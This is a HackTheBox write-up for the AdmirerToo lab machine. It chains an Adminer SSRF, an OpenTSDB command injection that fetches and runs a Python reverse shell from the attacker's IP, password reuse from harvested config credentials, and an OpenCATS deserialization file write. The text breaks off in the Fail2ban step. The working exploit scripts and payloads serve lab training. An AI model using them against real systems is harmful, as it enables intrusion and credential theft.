HackTheBox - AdmirerToo

— Written by — 26 min read
admiretoo-hackthebox

AdmirerToo just retired on HackTheBox. It was a Hard difficulty Linux box. It was well designed and required to chain several exploits in order to retrieve the flags. The path to user was not that obvious and required a lot of enumeration. The box relied mainly on common vulnerabilities, with some of them rather unusual but very interesting to chain. In the end, it’s a tough but good box that I recommend.

Tl;Dr: To get the user flag you first have to find and exploit a SSRF vulnerability in Adminer to discover a local instance of OpenTSDB, then use the SSRF to exploit a command injection vulnerability in OpenTSDB to get your first shell. After enumeration, a database password re-use allows you to connect and get the user flag.
For the root flag you first have to discover an Opencats instance vulnerable to arbitrary file write. A fail2ban client is vulnerable to command injection when you can control the result of a whois query to your attacking IP address. Using the Opencats instance to write a whois.conf file pointing to your malicious whois server allows you to exploit the Fail2ban command injection to get a root shell.


First things first, let’s add the box IP to the “hosts” file:

1
[[email protected] ~]$ echo "10.129.111.234 admirertoo.htb" >> /etc/hosts

And let’s start!

User flag

Recon

We start we the usual nmap scan to discover the running services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[[email protected] ~]$ nmap -sV -sT -sC admirertoo.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 09:11 UTC
Nmap scan report for admirertoo.htb (10.129.111.234)
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA)
| 256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA)
|_ 256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Admirer
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.02 seconds

As usual we have the port SSH (22) open as well as port 80 with a simple image gallery landing page:

https://user-images.githubusercontent.com/9076747/166100552-bc08c462-cf7e-4f7a-8911-b00771e42a69.png

Let’s do the usual web page enumeration on this page.
Trying to fuzz for hidden endpoints with gobuster doesn’t return anything interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[[email protected] ~]$ gobuster dir -u "http://admirertoo.htb" -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
[+] Url: http://admirertoo.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/vagrant/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/30 09:25:11 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 330]
/.htpasswd (Status: 403) [Size: 330]
/css (Status: 301) [Size: 365] [--> http://admirertoo.htb/css/]
/fonts (Status: 301) [Size: 367] [--> http://admirertoo.htb/fonts/]
/img (Status: 301) [Size: 365] [--> http://admirertoo.htb/img/]
/js (Status: 301) [Size: 364] [--> http://admirertoo.htb/js/]
/manual (Status: 301) [Size: 368] [--> http://admirertoo.htb/manual/]

Maybe we can try to brute-force vhost to find subdomains. But we get no luck either using fuff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[[email protected] ~]$ ffuf -u http://admirertoo.htb/ -H "Host: FUZZ.admirertoo.htb" -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 14099

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.4.1
________________________________________________

:: Method : GET
:: URL : http://admirertoo.htb/
:: Wordlist : FUZZ: /home/vagrant/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.admirertoo.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 14099
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 1117 req/sec :: Duration: [0:01:50] :: Errors: 0 ::

Now what? Maybe it’s time to do what we should have done from the beginning and review the landing page manually to see if we can find any information that automated tools can’t find.
And indeed, while visiting a non-existing page we notice an interesting new domain in the mailto field:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ curl admirertoo.htb/hg8
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at <a href="mailto:[email protected]">admirertoo.htb</a> Port 80</address>
</body></html>

Let’s add admirer-gallery.htb to our host file and retry our vhost discovery:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[[email protected] ~]$ ffuf -u http://admirer-gallery.htb/ -H "Host: FUZZ.admirer-gallery.htb" -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 14099

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.4.1
________________________________________________

:: Method : GET
:: URL : http://admirer-gallery.htb/
:: Wordlist : FUZZ: /home/vagrant/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.admirer-gallery.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 14099
________________________________________________

db [Status: 200, Size: 2569, Words: 113, Lines: 63, Duration: 187ms]

We finally find something interesting. After adding db.admirer-gallery.htb to our host file we can access an Adminer database instance.

Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consists of a single file ready to deploy to the target server.
https://www.adminer.org/

Adminer database

https://user-images.githubusercontent.com/9076747/166101730-f0ef713b-d71e-484c-a151-019ec4a43dff.png

Oddly enough no credentials are needed to access the database. While looking at the source code we can see that the database password is actually hard-coded into the HTML form:

1
2
3
4
5
6
7
8
9
<form action="" method="post">
<input type="hidden" name="auth[driver]" value="server" />
<input type="hidden" name="auth[server]" value="localhost" />
<input type="hidden" name="auth[username]" value="admirer_ro" />
<input type="hidden" name="auth[password]" value="1w4nn4b3adm1r3d2!" />
<input type="hidden" name="auth[db]" value="admirer" />
<input type="hidden" name="auth[permanent]" value="1" />
<input type="submit" value="Enter" />
</form>

The database itself doesn’t hold any interesting information.
Let’s see if we can exploit a vulnerability in Adminer instead. We know from the login page that the running version is 4.7.8.

SSRF on Adminer

A quick Google search return the following vulnerability that looks interesting to us:

CVE-2021-21311: In Adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability. This is fixed in version 4.7.9.
https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf

The issue seems to rely on the elastic connection module. While configured for Elasticsearch Adminer will try to connect to the provided host (in our case our attacking machine with specific server response) and return the request response into the error message.

The PoC PDF outlines the vulnerability in detail. We should be able to reproduce it on our instance. First of all we need to set up an intercept script to redirect traffic to localhost:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
1
[[email protected] ~]$ sudo python redirect.py 80 http://127.0.0.1

We can then use Burp Suite to intercept and modify the connection request in order to, firstly, point the connector to our attacking machine (which will be intercepted by the [redirect.py](http://redirect.py) script) and then modify the auth_driver to the vulnerable elastic driver:

https://user-images.githubusercontent.com/9076747/166109194-e5394179-4a36-4396-a92a-c3bd88778326.png

Once the request forwarded we can see an incoming request confirming the SSRF succeed:

1
2
[[email protected] ~]$ sudo python redirect.py 80 http://127.0.0.1
10.129.111.234 - - [30/Apr/2022 12:02:24] "GET / HTTP/1.0" 302 -

As expected Adminer return the content of the main application HTML page in the error message:

https://user-images.githubusercontent.com/9076747/166109316-db9ee2bd-4472-4d26-b2d6-47bdb3f94868.png

We can now access local services running on the server through this SSRF vulnerability.

Since it’s a bit cumbersome to use Burp intercept every time let’s write a quick Python script to exploit this vulnerability more easily:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
from threading import Thread
from bs4 import BeautifulSoup
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class Adminer:
def connect(self):
data = {
'auth[driver]': 'elastic',
'auth[server]': '10.10.14.67'
}

s = requests.Session()
r = s.post("http://db.admirer-gallery.htb/", data)
soup = BeautifulSoup(r.text, 'html.parser')
return soup.find('div', {'class': 'error'}).text

class HTTPRequestHandler(BaseHTTPRequestHandler):
def __init__(self, redirect, *args):
self.redirect = redirect
BaseHTTPRequestHandler.__init__(self, *args)

def do_GET(self):
self.send_response(301)
self.send_header('Location', self.redirect)
self.end_headers()

class Server(object):
def __init__(self, port, redirect):
def handler(*args):
HTTPRequestHandler(redirect, *args)
httpd = HTTPServer(("", int(port)), handler)
httpd.serve_forever()

if __name__ == '__main__':
print(f'[+] Running redirect HTTP Server to {sys.argv[2]}')
thread = Thread(target=Server, args=(sys.argv[1], sys.argv[2]), daemon=True)
thread.start()
ssrf_result = Adminer().connect()
print('\n[+] SSRF return:')
print(ssrf_result)

Now we can run it with the following command:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ sudo python CVE-2021-21311.py 80 http://127.0.0.1:80
[+] Running redirect HTTP Server to http://127.0.0.1:80
10.129.111.234 - - [30/Apr/2022 16:12:38] "GET / HTTP/1.0" 301 -

[+] SSRF return:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Admirer</title>
[...]

A typical way to exploit SSRF would be to make connections to internal-only services within the box infrastructure. The issue is, we don’t know what kind of services are running there. We could brute-force to find the open ports but this will be a pain…

I decided to take a step back and while looking back at my recon phase I noticed that out of habits I didn’t use sudo to run nmap, for once not running a program as root can be a bad habits since some discovery methods used by nmap (UDP port scanning) rely on the root privilege to work properly. And indeed, if we restart nmap as root, we find a new port 4242 being marked as “filtered”.

Filtered Port: Nmap cannot determine whether the port is open because packet
filtering (firewall) prevents its probes from reaching the port. The filtering
could be from a dedicated firewall device, router rules, or host-based firewall
software.
https://nmap.org/book/man.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[[email protected] ~]$ sudo nmap -p- -sV -sC admirertoo.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 14:34 UTC
Nmap scan report for admirertoo.htb (10.129.111.234)
Host is up (0.035s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA)
| 256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA)
|_ 256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Admirer
|_http-server-header: Apache/2.4.38 (Debian)
4242/tcp filtered vrml-multi-use
16010/tcp filtered unknown
16030/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s see if we can exploit the SSRF vulnerability against the service running on port 4242:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ sudo python CVE-2021-21311.py 80 http://127.0.0.1:4242
[+] Running redirect HTTP Server to http://127.0.0.1:4242
10.129.111.234 - - [30/Apr/2022 16:21:12] "GET / HTTP/1.0" 301 -

[+] SSRF return:
<!DOCTYPE html><html><head><meta http-equiv=content-type content="text/html;charset=utf-8"><title>OpenTSDB</title>
<style><!--
body{font-family:arial,sans-serif;margin-left:2em}A.l:link{color:#6f6f6f}A.u:link{color:green}.fwf{font-family:monospace;white-space:pre-wrap}//--></style><script type=text/javascript language=javascript src=s/queryui.nocache.js></script></head>
<body text=#000000 bgcolor=#ffffff><table border=0 cellpadding=2 cellspacing=0 width=100%><tr><td rowspan=3 width=1% nowrap><img src=s/opentsdb_header.jpg><td>&nbsp;</td></tr><tr><td><font color=#507e9b><b></b></td></tr><tr><td>&nbsp;</td></tr></table><div id=queryuimain></div><noscript>You must have JavaScript enabled.</noscript><iframe src=javascript:'' id=__gwt_historyFrame tabIndex=-1 style=position:absolute;width:0;height:0;border:0></iframe><table width=100% cellpadding=0 cellspacing=0><tr><td class=subg><img alt="" width=1 height=6></td></tr></table></body></html>

It works! It seems to be a web server. The page title refers to an OpenTSDB application. Never heard of it before:

OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.
http://opentsdb.net/

Adminer SSRF → OpenTSBD RCE

After another quick Google search we stumble upon a Remote Code Execution Vulnerability in OpenTSBD:

CVE-2020-35476: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)
https://www.cvedetails.com/cve/CVE-2020-35476/

Let’s see if the version running on the box is vulnerable.

1
2
3
4
5
6
[[email protected] ~]$ sudo python CVE-2021-21311.py 80 http://127.0.0.1:4242/api/version
[+] Running redirect HTTP Server to http://127.0.0.1:4242/api/version
10.129.111.234 - - [30/Apr/2022 16:27:05] "GET / HTTP/1.0" 301 -

[+] SSRF return:
{[...]"version":"2.4.0","full_revision":"14ab3ef8a865816cf920aa69f2e019b7261a7847","repo_status":"MINT","user":"hobbes","branch":"master","timestamp":"1545014415"}

Bingo! It’s vulnerable. Let’s try to reproduce the Proof-of-Concept.

First we need to open a simple Python HTTP server - if the server get a connection from the box it means we achieved RCE:

1
2
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then we build a simple payload that will connect to our sever (curl 10.10.14.67:8000):

1
2
3
4
5
6
[[email protected] ~]$ sudo python CVE-2021-21311.py 80 "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('curl+10.10.14.67%3A8000')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
[+] Running redirect HTTP Server to http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('curl+10.10.14.67%3A8000')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
10.129.111.234 - - [30/Apr/2022 16:43:13] "GET / HTTP/1.0" 301 -

[+] SSRF return:
{"err":"java.lang.RuntimeException: Unexpected exception\n\tat net.opentsdb.core.TSQuery.buildQueries(TSQuery.java:224) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.doGraph(GraphHandler.java:172) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.GraphHandler.execute(GraphHandler.java:123) ~[tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.handleHttpQuery(RpcHandler.java:282) [tsdb-2.4.0.jar:14ab3ef]\n\tat net.opentsdb.tsd.RpcHandler.messageReceived(RpcHandler.java:133) [tsdb-2.4.0.jar:14ab3ef]\n\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Fina

OpenTSBD returns an error message. It’s a pain to read it but we can understand that the metric cpu.nice we used from the vulnerability PoC is not available on this instance (No such name for 'metrics': 'sys.cpu.nice’).

Following the documentation we can find an endpoint to list available metrics:

1
2
3
4
5
6
[[email protected] ~]$ sudo python CVE-2021-21311.py 80 'http://127.0.0.1:4242/api/suggest?type=metrics'
[+] Running redirect HTTP Server to http://127.0.0.1:4242/api/suggest?type=metrics
10.129.111.234 - - [30/Apr/2022 16:48:46] "GET / HTTP/1.0" 301 -

[+] SSRF return:
["http.stats.web.hits"]

Perfect, let’s now replace sys.cpu.nice with http.stats.web.hits in our payload and retry:

1
2
3
4
5
6
[[email protected] ~]$ sudo python CVE-2021-21311.py 80 "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('curl+10.10.14.67%3A8000')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
[+] Running redirect HTTP Server to http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('curl+10.10.14.67%3A8000')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
10.129.111.234 - - [30/Apr/2022 16:50:30] "GET / HTTP/1.0" 301 -

[+] SSRF return:
{"plotted":4,"timing":608,"etags":[["host"]],"points":8}

Bingo! We receive a connection on our HTTP server:

1
2
3
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.111.234 - - [30/Apr/2022 16:50:31] "GET / HTTP/1.1" 200 -

It’s time to update our payload to a reverse shell:

1
2
3
4
[[email protected] ~]$ cat hg8.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.67",8585));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Let’s now open our listener and run our urlencoded payload (curl 10.10.14.67:8000/hg8.py -o /tmp/hg8.py && python /tmp/hg8.py):

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585
1
2
3
4
[[email protected] ~]$ sudo python CVE-2021-21311.py 80 "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('curl%2010.10.14.67%3A8000%2Fhg8.py%20-o%20%2Ftmp%2Fhg82.py%3Bpython%20%2Ftmp%2Fhg82.py')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"

[+] Running redirect HTTP Server to http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system('curl%2010.10.14.67%3A8000%2Fhg8.py%20-o%20%2Ftmp%2Fhg82.py%3Bpython%20%2Ftmp%2Fhg82.py')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
10.129.111.234 - - [30/Apr/2022 17:12:54] "GET / HTTP/1.0" 301 -

We receive a connection and our first shell on the box:

1
2
3
4
5
6
[[email protected] ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585
Connection received on admirertoo.htb 58676
/bin/sh: 0: can't access tty; job control turned off
[email protected]:/$ id
uid=1000(opentsdb) gid=1000(opentsdb) groups=1000(opentsdb)

Privilege escalation → jennifer user

Listing /home/ and /etc/passwd to find the user and flag location:

1
2
[email protected]:/$ ls /home/
jennifer

To get a user flag we will need to find a way to pivot to jennifer user.

While doing the usual recon we notice that a service is running on port 8080 and probably connected to MySQL instance on port 3306:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:/$ netstat -tulpn | grep LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:2181 :::* LISTEN -
tcp6 0 0 :::16010 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::4242 :::* LISTEN 554/java
tcp6 0 0 127.0.1.1:16020 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::16030 :::* LISTEN -
tcp6 0 0 127.0.1.1:16000 :::* LISTEN -

Unfortunately the port is still filtered and we can’t access it:

1
2
[email protected]:/$ curl 127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused

OpenCATS database

After the usual recon we find in the /opt folder an application called openCATS:

1
2
3
4
5
6
7
8
9
10
[email protected]:/opt/opencats$ cat README.md
# OpenCATS
[![Codacy Badge](https://api.codacy.com/project/badge/Grade/948d67033d624e9382a332af20339c00)](https://www.codacy.com/app/OpenCATS/OpenCATS?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=opencats/OpenCATS&amp;utm_campaign=Badge_Grade)
[![Build Status](https://travis-ci.org/opencats/OpenCATS.png)](https://travis-ci.org/opencats/OpenCATS)

OpenCATS is a Free and Open Source Candidate/Applicant Tracking System designed for Recruiters to manage recruiting process from job posting, candidate application, through to candidate selection and submission.

More details:
http://www.opencats.org
[...]

It’s probably safe to guess this is the app running on port 8080.

Reading through the source code we can quickly retrieve the MySQL database credentials:

1
2
3
4
5
6
[email protected]:/opt/opencats$ head /opt/opencats/config.php
[...]
define('DATABASE_USER', 'cats');
define('DATABASE_PASS', 'adm1r3r0fc4ts');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'cats_dev');

Let’s connect to the database to see if we can find some information on jennifer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[email protected]:/tmp$ mysql -u cats -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.

MariaDB [(none)]> b SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| cats_dev |
| information_schema |
+--------------------+
2 rows in set (0.002 sec)

MariaDB [(none)]> USE cats_dev
Database changed
MariaDB [cats_dev]> SHOW TABLES;
+--------------------------------------+
| Tables_in_cats_dev |
+--------------------------------------+
| access_level |
| [...] |
| system |
| tag |
| user |
| user_login |
+--------------------------------------+
55 rows in set (0.002 sec)

MariaDB [cats_dev]> SELECT user_id,user_name,password FROM user;
+---------+----------------+----------------------------------+
| user_id | user_name | password |
+---------+----------------+----------------------------------+
| 1 | admin | dfa2a420a4e48de6fe481c90e295fe97 |
| 1250 | [email protected] | cantlogin |
| 1251 | jennifer | f59f297aa82171cc860d76c390ce7f3e |
+---------+----------------+----------------------------------+
3 rows in set (0.000 sec)

We find a MD5 hash for admin user and jennifer. Unfortunately none of the hash can’t be found in MD5 reverse database. We are maybe on the wrong track for now.

jennifer password re-use

Going back to our enumeration we stumble upon the install folder of the Adminer application and find a commented out password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]$ cat /var/www/adminer/plugins/data/servers.php
<?php
return [
'localhost' => array(
// 'username' => 'admirer',
// 'pass' => 'bQ3u7^AxzcB7qAsxE3',
// Read-only account for testing
'username' => 'admirer_ro',
'pass' => '1w4nn4b3adm1r3d2!',
'label' => 'MySQL',
'databases' => array(
'admirer' => 'Admirer DB',
)
),
];

Since it’s important to check everything, let’s try to login to jennifer SSH using one of the passwords we found so far ? (1w4nn4b3adm1r3d2!, adm1r3r0fc4ts, bQ3u7^AxzcB7qAsxE3)

1
2
3
4
5
6
[[email protected] ~]$ ssh [email protected]
[email protected]'s password: bQ3u7^AxzcB7qAsxE3
Linux admirertoo 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

[email protected]:~$ cat user.txt
3706xxxxxxxxxxxxx7062

I wasn’t expecting it to work, it’s a good reminder to stick to the basics even on “Hard” rated difficulty box :)

Root flag

Recon

So now that we are on jennifer account we can probably continue our recon on opencats application. First we can confirm it’s accessible from jennifer user:

1
2
3
4
5
6
7
[email protected]o:~$ curl 127.0.0.1:8080
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>opencats - Login</title>
[...]

Into the Opencats rabbit hole

Let’s port forward opencats to our machine to take a better look at it:

1
[[email protected] ~]$ ssh -L 9000:127.0.0.1:8080 [email protected]

https://user-images.githubusercontent.com/9076747/166157419-74b39d1a-00fb-44b1-87a6-16ca85fe01fa.png

We are presented with a login page telling us the version number (0.9.5.2). A quick Google search return an interesting vulnerability for this version:

OpenCATS PHP Object Injection to Arbitrary File Write (CVE-2021-25294)
OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests,
leading to remote code execution. This occurs because lib/DataGrid.php calls
unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object
injection exploit chain can leverage an __destruct magic method in guzzlehttp.
https://snoopysecurity.github.io/web-application-security/2021/01/16/09_opencats_php_object_injection.html

The blog post is very well explained and contains a PoC so let’s give a try.

First of all since we have write access to the database let’s just overwrite the admin password with our own to login to opencats admin panel:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ echo -n hg8 | md5sum
70595983983f280d57999c58eda9f2a3 -
$ mysql -u cats -p
Enter password:
MariaDB [(none)]> use cats_dev;
Database changed
MariaDB [cats_dev]> update user set password = '70595983983f280d57999c58eda9f2a3' where user_id=1;
Query OK, 1 row affected (0.006 sec)
Rows matched: 1 Changed: 1 Warnings: 0

We can now connect:

https://user-images.githubusercontent.com/9076747/166157962-5641a55a-f3f0-475a-9733-0ca5d2f9bda7.png

In order to exploit the vulnerability, as explained in the blog post, we need to go to the activities tab, select the date page and intercept the request in Burp:

https://user-images.githubusercontent.com/9076747/166158220-76cdd510-dcc0-467b-a03d-2686c1f7932c.png

According to the vulnerability write-up, the activity parameter is vulnerable. So, we need to generate a serialized exploit using PHPGGC and replace the default one with it.

We have no information to know where to upload the PHP webshell nor which users permission will be applied. Let’s try to upload to the usual /dev/shm directory to check the file permission:

1
2
3
[[email protected] ~]$ echo "test" >> hg8
[[email protected] ~]$ ./phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/hg8 hg8
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A5%3A%22test%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A12%3A%22%2Fdev%2Fshm%2Fhg8%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D

We can place our payload in the intercepted request:

https://user-images.githubusercontent.com/9076747/166158784-88bca3af-6e56-44f2-8a91-a03e9f76ce56.png

And it works, we can find our file under /dev/shm directory. As expected the file is not owned by root user but by devel:

1
2
[email protected]:~$ ls -la /dev/shm
-rw-r--r-- 1 devel devel 48 May 1 19:03 hg8

On top of that devel only have write permission to a few useless directory and don’t even have shell access:

1
2
3
4
5
6
7
[email protected]:~$ find / -group devel 2>/dev/null
/dev/shm/hg8
/opt/opencats/INSTALL_BLOCK
/usr/local/src
/usr/local/etc
[email protected]:~$ cat /etc/passwd | grep devel
devel:x:1003:1003::/home/devel:/sbin/nologin

Bummer…. Looks like we are on a dead end here.

Let’s continue our search.

Fail2ban Remote Code Execution

During the recon process I noticed a fail2ban service running, but I didn’t pay that much attention since it’s a quite common service on boxes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[email protected]:~$ ls -l /etc/init.d/*
-rwxr-xr-x 1 root root 8181 Aug 8 2020 /etc/init.d/apache2
-rwxr-xr-x 1 root root 2489 Aug 8 2020 /etc/init.d/apache-htcacheclean
-rwxr-xr-x 1 root root 3740 Mar 30 2019 /etc/init.d/apparmor
-rwxr-xr-x 1 root root 1232 Aug 15 2019 /etc/init.d/console-setup.sh
-rwxr-xr-x 1 root root 3059 Oct 11 2019 /etc/init.d/cron
-rwxr-xr-x 1 root root 2813 Jul 5 2020 /etc/init.d/dbus
-rwxr-xr-x 1 root root 7159 May 23 2020 /etc/init.d/exim4
